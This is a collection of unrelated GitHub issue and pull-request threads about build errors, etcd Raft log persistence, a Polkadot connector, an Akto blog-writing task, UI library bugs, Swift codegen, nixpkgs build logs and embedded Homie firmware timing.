Fix moniker references

Docs Build status updates of commit c4f863e:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

.openpublishing.publish.config.json
:x:Error

Details

.openpublishing.publish.config.json

[Error-MonikerProductInvalid] Moniker 'msdata-sqlite-1.0' product value is null or empty, that's not a valid moniker. If it happens on localized repository, please make sure your configuration synced with ENU repository and try again. Otherwise, please open a tick on https://SiteHelp for help to fix moniker 'msdata-sqlite-1.0' data.
[Error-MonikerProductInvalid] Moniker 'msdata-sqlite-1.1' product value is null or empty, that's not a valid moniker. If it happens on localized repository, please make sure your configuration synced with ENU repository and try again. Otherwise, please open a tick on https://SiteHelp for help to fix moniker 'msdata-sqlite-1.1' data.
[Error-MonikerProductInvalid] Moniker 'msdata-sqlite-2.0' product value is null or empty, that's not a valid moniker. If it happens on localized repository, please make sure your configuration synced with ENU repository and try again. Otherwise, please open a tick on https://SiteHelp for help to fix moniker 'msdata-sqlite-2.0' data.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel

Something seems pretty broken, and I don't have permissions to rename the monikers in OPS. Going to revert the file renames...


Include Matt Borland, HPE

I added myself to the list...hope this is the right way to do it!  Thanks.

Thank you for contributing to openstack/stackalytics!
openstack/stackalytics uses Gerrit for code review.
If you have never contributed to OpenStack before make sure you have read the
getting started documentation:
http://docs.openstack.org/infra/manual/developers.html#getting-started
Otherwise please visit
http://docs.openstack.org/infra/manual/developers.html#development-workflow
and follow the instructions there to upload your change to Gerrit.


⚠ Mobitopup has degraded performance

In 2493dcc, Mobitopup (https://napcard.voz.tech) experienced degraded performance:

HTTP code: 200
Response time: 7602 ms

Resolved: Mobitopup performance has improved in 7c239a9 after 14 minutes.


followers respond to leader's MsgApp with the index of unstable log, why is there no problem with this?

Hi, while I am reading the codes of etcd v3 these days, I encountered a question that, when follower handle MsgApp, it append the log entries to it's unstable logs and reply with the newest log index in the unstable log. when leader received the MsgAppResp from follower, it set commit based on the Index in the message,     i.e. it set commit to the index that majority of nodes replied in their MsgAppResp.
I thought the follower should persist the log entries before it reply the index to the leader, otherwise, the safety can not be ensured.
consider a case like this: in the cluster with 3 nodes,  the leader append an entry with index 3 to it's log and send MsgApp to followers, and the two followers reply with index 3 to leader although they did not persist the log entry to disk. and the leader find that all nodes has appended the log with index 3, so it will apply the log with index 3 to the state machine. after that, all three nodes crashed and restart, one of the former follower become leader(it can be elect leader because the other former follower has the same log index persisted with it,say maybe 2). now when it replicate the log, the former leader should delete it's log entry that was already applied.   I think this is violation to Raft.
I don't know if this is because of my missing of any code to handle the inconsistency or is it a rare case that etcd do not consider.

I thought the follower should persist the log entries before it reply the index to the leader, otherwise, the safety can not be ensured.

this is what etcd does

it append the log entries to it's unstable logs and reply with the newest log index in the unstable log.

i guess you missed one thing: the follower persists the unstable log to disk.
closing this out since i do not feel this is a problem.

but the problem is that it persists the unstable log to disk asynchronously, so it is possible that it may  crash before it persists the unstable log.
so if majority of followers did not persist it's unstable log to disk before it crash. then next in the next startup , one of the these followers may be elected as leader, it will replicate the log to the former leader which already applied the log that former followers did not persist.

this is a rare case but i think it is still a problem, isn't it?

Can you point out where exactly the problem is? And why do you think it is async?

it is a goroutine in the raftNode who persist the unstable log to disk, right? the newest index of the unstable log may be send to be leader before the log is persisted to disk.
`func (r *raft) handleAppendEntries(m pb.Message) {
if m.Index < r.raftLog.committed {
r.send(pb.Message{To: m.From, Type: pb.MsgAppResp, Index: r.raftLog.committed})
return
}
if mlastIndex, ok := r.raftLog.maybeAppend(m.Index, m.LogTerm, m.Commit, m.Entries...); ok {
	r.send(pb.Message{To: m.From, Type: pb.MsgAppResp, Index: mlastIndex})
} else {
	r.logger.Debugf("%x [logterm: %d, index: %d] rejected msgApp [logterm: %d, index: %d] from %x",
		r.id, r.raftLog.zeroTermOnErrCompacted(r.raftLog.term(m.Index)), m.Index, m.LogTerm, m.Index, m.From)
	r.send(pb.Message{To: m.From,
		Type: pb.MsgAppResp,
		Index: m.Index,
		Reject: true,
		RejectHint: r.raftLog.lastIndex(),
	})
}

}`

it is a goroutine in the raftNode who persist the unstable log to disk, right?

no. it is not.

raft is all logical. nothing gets sent out or persist to disk. real io happens here: https://github.com/coreos/etcd/blob/master/etcdserver/raft.go#L165
i would suggest you to read readme in raft pkg before digging into code.

That is exactly what i mean,  https://github.com/coreos/etcd/blob/master/etcdserver/raft.go#L165  is in a goroutine, isn't it?
if this happens in the goroutine, then it is possible that follower will reply with the log index before it is persisted into disk.
I have really carefully read the codes, thesis, and doc of etcd, and etcd is of course a very excellent distributed kv store. but this question really troubled me.

@abel-von

if this happens in the goroutine, then it is possible that follower will reply with the log index before it is persisted into disk.

i do not understand what are you trying to say really... It does not matter if io happens in a routine. what matters is to make sure we persist data to disk before send msg back to leader. and this is exactly what happens in that routine.
i do not think i will explain this more. if you still feel it is an issue, please provide line by line analysis or provide a test to break etcd. thank you.

@abel-von That routine you linked receives Ready.Entries from Ready, and persists them via r.storage.Save(rd.HardState, rd.Entries) below. Till then, they are not committed. So Ready.Entries won't be returned. So they are stored on disk before forwarding to leader.

对不起，我可能英文表述不够清楚，请允许我用中文重述一遍我的问题。
follower在收到MsgApp以后，会把里面的日志条目append到unstable里面，然后直接返回unstable中最新index给leader。而unstable里面的log是由 https://github.com/coreos/etcd/blob/master/etcdserver/raft.go#L165 这个协程来处理，进行持久化的。所以我认为这个地方的持久化是一个异步的行为。
leader收到MsgAppResp以后会用刚刚follower返回的index去做判断，如果多数节点已经append了某个index，就把这条日志设置为commited，然后会有另一个协程apply到kv 存储里面去。
如果所有follower节点在那个持久化协程处理的时候都挂了，而且leader也在这时候挂了（可能性很小）。那么重启的时候其中一个follower可能会被选为leader(因为follower都没有持久化那条日志，所以那些follower是可以同意其中一个follower的选主请求的)。新的leader向上一个Term的leader发送同步日志的请求时，就有可能出现把老leader已经apply的日志覆盖了。
我仔细看了下那个协程的处理我想明白了，https://github.com/coreos/etcd/blob/master/etcdserver/raft.go#L242， Ready结构里面如果有MsgAppResp，那么里面的index包含的日志一定在它的Entries里面。所以etcd这里的处理是先持久化日志，再发送消息。
嗯，终于解答了我的疑惑，多谢大牛。

我忽略了消息和日志都是那个协程处理的，我忽略了这里的send不是直接就把消息发送出去了，而是也走到那个goroutine里面处理的。

@gyuho  thank you for replying.


feat(connector-polkadot): connector plugin should be able to send transactions to Polkadot

Describe the solution you'd like
The connector plugin should be able to send transactions to the Polkadot network, in order to pay for the distribution of its transactions.
cc: @RafaelAPB

@CatarinaPedreira I recommend looking into potentially also opening a separate issue for the creation of a Polkadot all-in-one container image similar to how we have the ones for the existing ledgers that the connectors support, such as this one for Corda:
Image:
https://github.com/hyperledger/cactus/tree/main/tools/docker/corda-all-in-one
Test tooling code for the image above:
https://github.com/hyperledger/cactus/tree/main/packages/cactus-test-tooling/src/main/typescript/corda

The upside of having these AIO images is that integration tests for the connectors can re-use them for pulling up pristine ledgers with proper test case isolation and other best practices.
cc: @RafaelAPB

@petermetz Sounds good! I will create that separate issue.
Thank you :) I'm currently studying the code in order to begin the implementation soon.
cc: @RafaelAPB

@CatarinaPedreira  Are you still working on this. ?

@petermetz Sounds good! I will create that separate issue.

@CatarinaPedreira Is there a separate issue for this?

@aruns05 i don't think Catarina is working on this, but feel free to take on the WIP that has been done

@RafaelAPB @CatarinaPedreira @aruns05 Kewl, assigning this to @aruns05 in that case because he indicated that he'd like to pick this one up. Thank you in advance for the contributions!

@RafaelAPB   Sorry for delayed response. I have resumed work on this. Can you help me understand to get started. I am looking in this repo https://github.com/RafaelAPB/blockchain-integration-framework/tree/polkadot-connector/packages/cactus-plugin-ledger-connector-polkadot
I am looking at branches polkadot and polkadot-connector, Can we meet sometime this week

@aruns05 please reach out via discord and we can go from there

I will be working on this, Thank you!

I will be working on this, Thank you!

@AnmolBansalDEV Assigned it to you just now, cheers!
FYI: I'll also update the commit message in your PR to declare that it fixes this issue.


📃 Write a blog post about testing for Mass Assignment using Akto

💭 Introduction
Akto is an open source API security product.
Your task is to write a blog post about testing for SSRF using Akto.
🎯 Requirements

Your article has to be publicly available.
Your article must tag Akto in any way (hashtag, embedded, link...).
Your article should be at least 1000 words long.
Your article should look nice. 👀 Use titles, subtitles, screenshots, images, gifs, or even memes.

✅ Task summary:

Drop a comment on this issue indicating that you’re working on it.
Write a blog post with title  How I tested for Mass Assignment using Akto?
Publish an article on your favorite platform or website. (Medium, Dev.to, Hashnode...)
Submit a pull request here.
Share your work on social media and tag https://github.com/akto-api-security/akto (Reddit / HackerNews / Twitter / Facebook / Linkedin)

🙋🏼♂ Questions:
If you have questions, need any help, or just want to hang out, make sure to join us on our Discord server.

Hey @Ankita28g, I am working on this issue. I will share the draft here and after that will publish my article.

Awesome @bhavyastar! Assigned this to you. Happy hackfesting 🎉

FYI: Multiple people can be assigned to the issue

Hi @bhavyastar let us know if you need any help with this.

Hii @bhavyastar , if you need help with the blog, iam ready to help.

Yes! Assigned to you. Happy hackfesting 🎉

Hello
@Ankita28g I have written blog. Here is the link to the blog :
https://akashprajapatiroyal.hashnode.dev/how-i-tested-for-mass-assignment-using-akto

Hi @akashprajapatiroyal thank you so much! let me review it and get back

Hello @Ankita28g will my contribution be considered?

Hi @akashprajapatiroyal @bhavyastar thanks for your submission in Hackfest. 🔥 We are reviewing your work. Do these two below:

Join this group on discord for discussions around prizes? 🚀 🏆
Please fill this form your PR to be considered for prizes!

This Form is giving below response:
You need permission
This form can only be viewed by users in the owner's organization.
Try contacting the owner of the form if you think this is a mistake. [Learn More.]

Check now ?

Yes It's Working Now.
Thank You

Github username

Done👍

Is this issue closed? If not, I would like to help.

Hi @Mannxxx - this is all false information. Please take it down. There is no such thing as npm install -g akto.

@ankush-jain-akto, I'm truly disappointed by the misinformation that was shared, especially since it came from your own approved comment (For reference: https://github.com/akto-api-security/akto/issues/248).
Turns out there was no need for the negative comments on my blog post. I could have, on my own, taken it down once I became aware that this information was false.
Anyways, apologies for the misinformation.

Thanks @Mannxxx - FYI, we completed the task internally ourselves a few months ago. See the blog here


Build cargo-c with --locked to work around rust-lang/cargo#13002

Based on: https://github.com/AOMediaCodec/libavif/pull/1785
Addresses: https://github.com/BtbN/FFmpeg-Builds/issues/320
As noted in the referenced fix, "using --locked might be advisable anyway to ensure reproducible builds.". Unsure of the veracity of this claim, but using --locked worked to bypass the issue for me locally.

I'd rather not do this. This will prevent updates from getting in, so potentially vulnerable/broken versions could stick around, specially when I don't remember to remove this.


Updating State Causes Slider go Back to Initial Slide

Whenever I update the state/store (and it changes), the slider returns to the initial slide.  Gist here:
https://gist.github.com/jennykortina/62c807f86e5a8bb50ff392018eb1231f

I'm having the same issue using Redux-UI, anytime I call this.props.updateUI('currentImageIndex', currentSlide) it seems to reset to the initial slide about 50% of the time. I'm confused for sure!

Also getting this.

+1

really annoying issue! quick fix before https://github.com/akiran/react-slick/pull/700 is merged in is to wrap the slider in a component that always checks for shouldComponentUpdate, i have mine returning false since my slider isn't dependent on any parent updates

Issues related to this have been fixed in previous releases. Please feel free to request reopen if disagree.


Get "type" on multiple dataset

Hi, I have a search bar with multiple datasets and want to be able to know where the chosen suggestion came from.
Let's say I have:
vm.sets= [
      {
        name: 'groupA',
        source: vm.groupA.ttAdapter(),
        templates: {
          header: '
groupA
'
        },
        displayKey: 'full_name'
      },
      {
        name: 'groupB',
        source: vm.groupB.ttAdapter(),
        templates: {
          header: '
groupB
'
        },
        displayKey: 'otherthing'
      }
    ];

Is there anyway to do that without manually adding the type to the object? Like an attribute of the selected element to know where it came from?
On master/angular-typeahead.js I found this function:
function updateScope (object, suggestion, dataset) {
          scope.$apply(function () {
            var newViewValue = (angular.isDefined(scope.suggestionKey)) ?
                suggestion[scope.suggestionKey] : suggestion;
            ngModel.$setViewValue(newViewValue);
          });
 }

What does dataset contains? Why isn't it being used?
Thanks!
edit hmil: please format your code using triple quotes

angular-typeahead itself doesn't know where the suggestion came from so this problem is not relevant to this module. All it provides is a raw integration of typeahead.js in angular. You should search if you can find a solution in typeahead.js.


Alternative documentation

Hello,
I've built an alternative documentation which is a little bit more esthetic than the current one.
Here a preview of it: https://v01dxyz.github.io/rocprim-documentation
Are you interested by this ?

Hi ,
Your documentation looks like an improvement over our current versions. Please consider making a pull request if you desire us to incorporate your changes into the official documentation. My initial review suggests that most of your changes can be incorporate after minor adjustments .

Closing this as the contribution has been merged


The purse and shop block is interactable while in spectator mode

You can withdraw, and even drop money, while in spectator mode. You can simply do this by filling up your inventory and then withdrawing. You can also change the prices inside a shop block you own. I have not tested whether or not you are able to purchase items using this.

Fixed in 0.1.7


TimeAmount constructors generate suboptimal code.

The TimeAmount struct has several static constructors to generate a TimeAmount in many units. For example:
    public static func seconds(_ amount: Int64) -> TimeAmount {
        return TimeAmount(amount * 1000 * 1000 * 1000)
    }

Unfortunately this leads to suboptimal codegen because Swift needs an overflow check at each multiplication stage.
We can improve this by adding some parentheses:
    public static func seconds(_ amount: Int64) -> TimeAmount {
        return TimeAmount(amount * (1000 * 1000 * 1000))
    }

This will lead to much better codegen.

See: https://swift.godbolt.org/z/QP7S6N

fixed by #1250


feat: Allow one to use an environment variable instead of the nuxt config for baseURL

With this change it is possible to use the environment variable AUTH_BASE_URL instead changing it in nuxt.config

🔗 Linked issue
#368

❓ Type of change

[ ] 📖 Documentation (updates to the documentation, readme or JSdoc annotations)
[ ] 🐞 Bug fix (a non-breaking change that fixes an issue)
[X] 👌 Enhancement (improving an existing functionality like performance)
[ ] ✨ New feature (a non-breaking change that adds functionality)
[ ] 🧹 Chore (updates to the build process or auxiliary tools and libraries)
[ ] ⚠ Breaking change (fix or feature that would cause existing functionality to change)

📚 Description
📝 Checklist

[X] I have linked an issue or discussion.
[ ] I have added tests (if possible).
[ ] I have updated the documentation accordingly.

Closing, as we are going to reevaluate the usage of environment variables and configuration options in #751


Unable to install s2sphere

File "/home/ramkumar/.local/lib/python2.7/site-packages/pip/_vendor/requests/packages/urllib3/contrib/pyopenssl.py", line 194, in recv
data = self.connection.recv(_args, *_kwargs)
File "/usr/lib/python2.7/dist-packages/OpenSSL/SSL.py", line 1320, in recv
self._raise_ssl_error(self._ssl, result)
File "/usr/lib/python2.7/dist-packages/OpenSSL/SSL.py", line 1153, in _raise_ssl_error
self._context._verify_helper.raise_if_problem()
RuntimeError: maximum recursion depth exceeded

try updating your pip version.  I was able to install this package without any issues.

This is solved? Closing it for now as not reproducible.


Repology fixes

Motivation for this change
Some manual fixes for update failures https://discourse.nixos.org/t/nixpkgs-update-r-ryantm-logs/1464
Things done

[x] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[ ] NixOS
[ ] macOS
[x] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[x] Fits CONTRIBUTING.md.

No attempt on x86_64-darwin (full log)
The following builds were skipped because they don't evaluate on x86_64-darwin: feedreader, fwts, librepo, libskk, libsolv, ostree
Partial log (click to expand)

a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

Success on aarch64-linux (full log)
Attempted: feedreader, fwts, librepo, libskk, libsolv, ostree
Partial log (click to expand)
strip is /nix/store/p9akxn2sfy4wkhqdqa3li97pc6jaz3r1-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/zznj8p8vnviwf4xlcldxhdplic7lsp26-fwts-18.11.00/lib  /nix/store/zznj8p8vnviwf4xlcldxhdplic7lsp26-fwts-18.11.00/bin
patching script interpreter paths in /nix/store/zznj8p8vnviwf4xlcldxhdplic7lsp26-fwts-18.11.00
checking for references to /build in /nix/store/zznj8p8vnviwf4xlcldxhdplic7lsp26-fwts-18.11.00...
/nix/store/y9dbg4m05mid9gihpsp6709zvpbd4wjq-FeedReader-2.4.1
/nix/store/zznj8p8vnviwf4xlcldxhdplic7lsp26-fwts-18.11.00
/nix/store/kmv708z5davm0w6qqbgqxlpm8h1ziazz-librepo-1.9.2
/nix/store/w4dni1h2j6qwa87yyxy00kgkxblzhb8p-libskk-1.0.5
/nix/store/libw6nrmzjzjvhsqqynlxc5rzfax8lfy-libsolv-0.7.1
/nix/store/qr6ni3k5sjr7d6hni2qzyh0b4pq0j0dc-ostree-2018.9

Success on x86_64-linux (full log)
Attempted: feedreader, fwts, librepo, libskk, libsolv, ostree
Partial log (click to expand)
strip is /nix/store/vcc4svb8gy29g4pam2zja6llkbcwsyiq-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/8q7l3cq6n2vr5flxcnbrfal3wz1iwbqg-FeedReader-2.4.1/lib  /nix/store/8q7l3cq6n2vr5flxcnbrfal3wz1iwbqg-FeedReader-2.4.1/bin
patching script interpreter paths in /nix/store/8q7l3cq6n2vr5flxcnbrfal3wz1iwbqg-FeedReader-2.4.1
checking for references to /build in /nix/store/8q7l3cq6n2vr5flxcnbrfal3wz1iwbqg-FeedReader-2.4.1...
/nix/store/8q7l3cq6n2vr5flxcnbrfal3wz1iwbqg-FeedReader-2.4.1
/nix/store/0w645980h3w81gf2s8hgixqz12v7j97l-fwts-18.11.00
/nix/store/ylz71h4a4dc81n9k15n87lznzf50955k-librepo-1.9.2
/nix/store/bd3wrqpdckkr25ahfyiwklcrwa3aacfv-libskk-1.0.5
/nix/store/53gb2jm1jfnmm3kzg6zwn1131qfi3p1l-libsolv-0.7.1
/nix/store/prrcivbfr4p21n1z81kj9rchj5s4l449-ostree-2018.9

No problems in Feedreader. Going through the libraries now.

Success on aarch64-linux (full log)
Attempted: ario, createrepo_c, feedreader, fwts, librepo, libskk, libsolv, ostree
Partial log (click to expand)
shrinking RPATHs of ELF executables and libraries in /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6
shrinking /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6/bin/.ario-wrapped
shrinking /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6/lib/ario/plugins/libmmkeys.so.0.0.0
shrinking /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6/lib/ario/plugins/libradios.so.0.0.0
shrinking /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6/lib/ario/plugins/libinformation.so.0.0.0
shrinking /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6/lib/ario/plugins/libfilesystem.so.0.0.0
strip is /nix/store/p9akxn2sfy4wkhqdqa3li97pc6jaz3r1-binutils-2.30/bin/strip
stripping (with command strip and flags -S) in /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6/lib  /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6/bin
patching script interpreter paths in /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6
checking for references to /build in /nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6...

Success on x86_64-linux (full log)
Attempted: ario, createrepo_c, feedreader, fwts, librepo, libskk, libsolv, ostree
Partial log (click to expand)
patching script interpreter paths in /nix/store/hpkv46jvi8kyvgyns6vazbkjrlsrmc9n-ario-1.6
checking for references to /build in /nix/store/hpkv46jvi8kyvgyns6vazbkjrlsrmc9n-ario-1.6...
/nix/store/hpkv46jvi8kyvgyns6vazbkjrlsrmc9n-ario-1.6
/nix/store/j0i9c3q2dyh32x7lymkqdpa37qcy79br-createrepo_c-0.11.1
/nix/store/8q7l3cq6n2vr5flxcnbrfal3wz1iwbqg-FeedReader-2.4.1
/nix/store/0w645980h3w81gf2s8hgixqz12v7j97l-fwts-18.11.00
/nix/store/ylz71h4a4dc81n9k15n87lznzf50955k-librepo-1.9.2
/nix/store/bd3wrqpdckkr25ahfyiwklcrwa3aacfv-libskk-1.0.5
/nix/store/53gb2jm1jfnmm3kzg6zwn1131qfi3p1l-libsolv-0.7.1
/nix/store/prrcivbfr4p21n1z81kj9rchj5s4l449-ostree-2018.9

Success on x86_64-darwin (full log)
Attempted: ario
The following builds were skipped because they don't evaluate on x86_64-darwin: createrepo_c, feedreader, fwts, gImageReader, librepo, libskk, libsolv, ostree
Partial log (click to expand)
a) For `nixos-rebuild` you can set
  { nixpkgs.config.allowUnsupportedSystem = true; }
in configuration.nix to override this.

b) For `nix-env`, `nix-build`, `nix-shell` or any other Nix command you can add
  { allowUnsupportedSystem = true; }
to ~/.config/nixpkgs/config.nix.

/nix/store/c9kil87pwkravf0ck4yka3y11z8kjanz-ario-1.6

Success on aarch64-linux (full log)
Attempted: ario, createrepo_c, feedreader, fwts, gImageReader, librepo, libskk, libsolv, ostree
Partial log (click to expand)
checking for references to /build in /nix/store/k4cfras3b9csk9piri77gk6vr6wg2g4i-gImageReader-3.3.0...
/nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6
/nix/store/z5gmigdba43phmjzd2pa3v3zq388vmnp-createrepo_c-0.11.1
/nix/store/y9dbg4m05mid9gihpsp6709zvpbd4wjq-FeedReader-2.4.1
/nix/store/zznj8p8vnviwf4xlcldxhdplic7lsp26-fwts-18.11.00
/nix/store/k4cfras3b9csk9piri77gk6vr6wg2g4i-gImageReader-3.3.0
/nix/store/kmv708z5davm0w6qqbgqxlpm8h1ziazz-librepo-1.9.2
/nix/store/w4dni1h2j6qwa87yyxy00kgkxblzhb8p-libskk-1.0.5
/nix/store/libw6nrmzjzjvhsqqynlxc5rzfax8lfy-libsolv-0.7.1
/nix/store/qr6ni3k5sjr7d6hni2qzyh0b4pq0j0dc-ostree-2018.9

Success on x86_64-linux (full log)
Attempted: ario, createrepo_c, feedreader, fwts, gImageReader, librepo, libskk, libsolv, ostree
Partial log (click to expand)
checking for references to /build in /nix/store/0npcrda7iidif512ln7bnrjajy229j56-gImageReader-3.3.0...
/nix/store/hpkv46jvi8kyvgyns6vazbkjrlsrmc9n-ario-1.6
/nix/store/j0i9c3q2dyh32x7lymkqdpa37qcy79br-createrepo_c-0.11.1
/nix/store/8q7l3cq6n2vr5flxcnbrfal3wz1iwbqg-FeedReader-2.4.1
/nix/store/0w645980h3w81gf2s8hgixqz12v7j97l-fwts-18.11.00
/nix/store/0npcrda7iidif512ln7bnrjajy229j56-gImageReader-3.3.0
/nix/store/ylz71h4a4dc81n9k15n87lznzf50955k-librepo-1.9.2
/nix/store/bd3wrqpdckkr25ahfyiwklcrwa3aacfv-libskk-1.0.5
/nix/store/53gb2jm1jfnmm3kzg6zwn1131qfi3p1l-libsolv-0.7.1
/nix/store/prrcivbfr4p21n1z81kj9rchj5s4l449-ostree-2018.9

Success on aarch64-linux (full log)
Attempted: ario, createrepo_c, feedreader, fwts, gImageReader, gtkspell3, librepo, libskk, libsolv, ostree
Partial log (click to expand)
/nix/store/1ssj4q3ic35wwr2pnlr431sy9iqw2rsi-ario-1.6
/nix/store/z5gmigdba43phmjzd2pa3v3zq388vmnp-createrepo_c-0.11.1
/nix/store/y9dbg4m05mid9gihpsp6709zvpbd4wjq-FeedReader-2.4.1
/nix/store/zznj8p8vnviwf4xlcldxhdplic7lsp26-fwts-18.11.00
/nix/store/k4cfras3b9csk9piri77gk6vr6wg2g4i-gImageReader-3.3.0
/nix/store/6y518vz32n1954idv7laf2ykazh0ppc7-gtkspell-3.0.10
/nix/store/kmv708z5davm0w6qqbgqxlpm8h1ziazz-librepo-1.9.2
/nix/store/w4dni1h2j6qwa87yyxy00kgkxblzhb8p-libskk-1.0.5
/nix/store/libw6nrmzjzjvhsqqynlxc5rzfax8lfy-libsolv-0.7.1
/nix/store/qr6ni3k5sjr7d6hni2qzyh0b4pq0j0dc-ostree-2018.9

Success on x86_64-linux (full log)
Attempted: ario, createrepo_c, feedreader, fwts, gImageReader, gtkspell3, librepo, libskk, libsolv, ostree
Partial log (click to expand)
/nix/store/hpkv46jvi8kyvgyns6vazbkjrlsrmc9n-ario-1.6
/nix/store/j0i9c3q2dyh32x7lymkqdpa37qcy79br-createrepo_c-0.11.1
/nix/store/8q7l3cq6n2vr5flxcnbrfal3wz1iwbqg-FeedReader-2.4.1
/nix/store/0w645980h3w81gf2s8hgixqz12v7j97l-fwts-18.11.00
/nix/store/0npcrda7iidif512ln7bnrjajy229j56-gImageReader-3.3.0
/nix/store/ngwrga1337hj2ipdn9r2czhk24csfvv7-gtkspell-3.0.10
/nix/store/ylz71h4a4dc81n9k15n87lznzf50955k-librepo-1.9.2
/nix/store/bd3wrqpdckkr25ahfyiwklcrwa3aacfv-libskk-1.0.5
/nix/store/53gb2jm1jfnmm3kzg6zwn1131qfi3p1l-libsolv-0.7.1
/nix/store/prrcivbfr4p21n1z81kj9rchj5s4l449-ostree-2018.9


Depolyment

Deployment
User Story
As a boot camp student,
I want the prework notes to be structured on a webpage,
So that I can easily find and read the information.
Acceptance Criteria
GIVEN a Prework Study website,
WHEN I visit the website using the URL,
THEN I can access my website from any browser

Website Deployed from GitHub using link:  https://44-khowell.github.io/prework-study-guide/


.editorconfig editor recognize ktlint overrides

All the ktlint-specific overrides I have in my .editorconfig are underlined and show "the property is not supported." It would be nice if the plugin could recognize these overrides as legal, and even lint and autocomplete them.
e.g.: ktlint_experimental_block-comment-initial-star-alignment = enabled should be recognized

That would be nice! I'll see if these are exposed from the library or documented in a way that I can provide support here.

It looks like that the .editorconfig properties are hard coded into schema's that are included in the EditorConfig plugin which is provided via IntelliJ IDEA. I have created this YouTrack issue to get more information.

There is no pogress at all on the YouTrack issue. For now, I would suggest to either ignore all warnings about invalid properties in the .editorconfig file. Or, if it bother you, to disable the inspection Unknown property (see below):


setLoopFunction gets called before the connection is active

loopHandler gets called before Homie is successfully connected to the MQTT server
`bool first_time = true;
void loopHandler() {
if (first_time) // New preset or station?
{
    Serial.println("TOO SOON!");
    first_time = false;
}

}
void setup() {
Serial.begin(115200);
Serial.println();
Serial.println();
Homie_setBrand("FuryFire");
Homie_setFirmware("DeskControl", "1.0.0");
Homie.setLoopFunction(loopHandler);
Homie.setup();
}
void loop() {
Homie.loop();
}`
Debug output
↕ Attempting to connect to Wi-Fi... TOO SOON! ✔ Wi-Fi connected Triggering WIFI_CONNECTED event... ↕ Attempting to connect to MQTT... Sending initial information...
Before submitting your issue, make sure:

[X] You've read the documentation for your release, which is in the docs/ folder of the .zip of the release you're using, especially the Getting started and Troubleshooting pages, which contain respectively the minimum required version of the dependencies, and some answsers to the most common problems
[X] You're using a stable release, not the Git development version which is, by definition, unstable
[X] You're using the examples bundled in your release, which are in the examples/ folder of the .zip of the release you're using. Examples in the latest git revision might not be backward-compatible with your release

Thanks!

I think that is expected. Is documentation wrong?
You can check it on Homie.isConnected() if you wish.
Sent from my iPhone

On 14 Dec 2016, at 09:45, furyfire<EMAIL_ADDRESS>wrote:
loopHandler gets called before Homie is successfully connected to the MQTT server
`bool first_time = true;
void loopHandler() {
if (first_time) // New preset or station?
{
Serial.println("TOO SOON!");
first_time = false;
}
}
void setup() {
Serial.begin(115200);
Serial.println();
Serial.println();
Homie_setBrand("FuryFire");
Homie_setFirmware("DeskControl", "1.0.0");
Homie.setLoopFunction(loopHandler);
Homie.setup();
}
void loop() {
Homie.loop();
}`
Debug output
↕ Attempting to connect to Wi-Fi... TOO SOON! ✔ Wi-Fi connected Triggering WIFI_CONNECTED event... ↕ Attempting to connect to MQTT... Sending initial information...
Before submitting your issue, make sure:
You're using a stable release, not the Git development version which is, by definition, unstable
You've read the documentation for your release, which is in the docs/ folder of the .zip of the release you're using, especially the Getting started and Troubleshooting pages, which contain respectively the minimum required version of the dependencies, and some answsers to the most common problems
You're using the examples bundled in your release, which are in the examples/ folder of the .zip of the release you're using. Examples in the latest git revision might not be backward-compatible with your release
Thanks!
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

The loop function will be called everytime, when the device is in normal mode and the network connection is up.

I understand that as it being run whenever the device is connected to the MQTT server
Considering other parts of the documentation says

If, for some reason, you want to run some code in the Arduino loop() function, it might be useful for you to know if the device is in configured (so in normal mode) and if the network connection is up.

I will sue Homie.isConnected() - Just a weird thing I'm fairly certain older versions of Homie did

The loop function is meant to be called only when the connection is up, so yes, there's something wrong. I'll take a look as soon as I can.
Sorry for the long response time, studies are my priority!

take a look at this commit, I had roll back and works like a charm...thanks!

#290 Pull request for fix


tx.Check() crashes in read-only database

When the database db is opened in read-only mode (options = bolt.Options{ReadOnly: true}),
and the transaction tx is created in read-only mode (tx, ... = db.Begin(false))
Then calls to tx.Check() will systematically crash the process (stack traces at bottom of this message).
It seems the freelist management code is not entirely aware of limitations of the read-only mode - more particularly nil instances.

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0x10c21c2]
goroutine 18 [running]:
github.com/coreos/bbolt.(*freelist).free_count(...)
xxx/src/github.com/coreos/bbolt/freelist.go:52
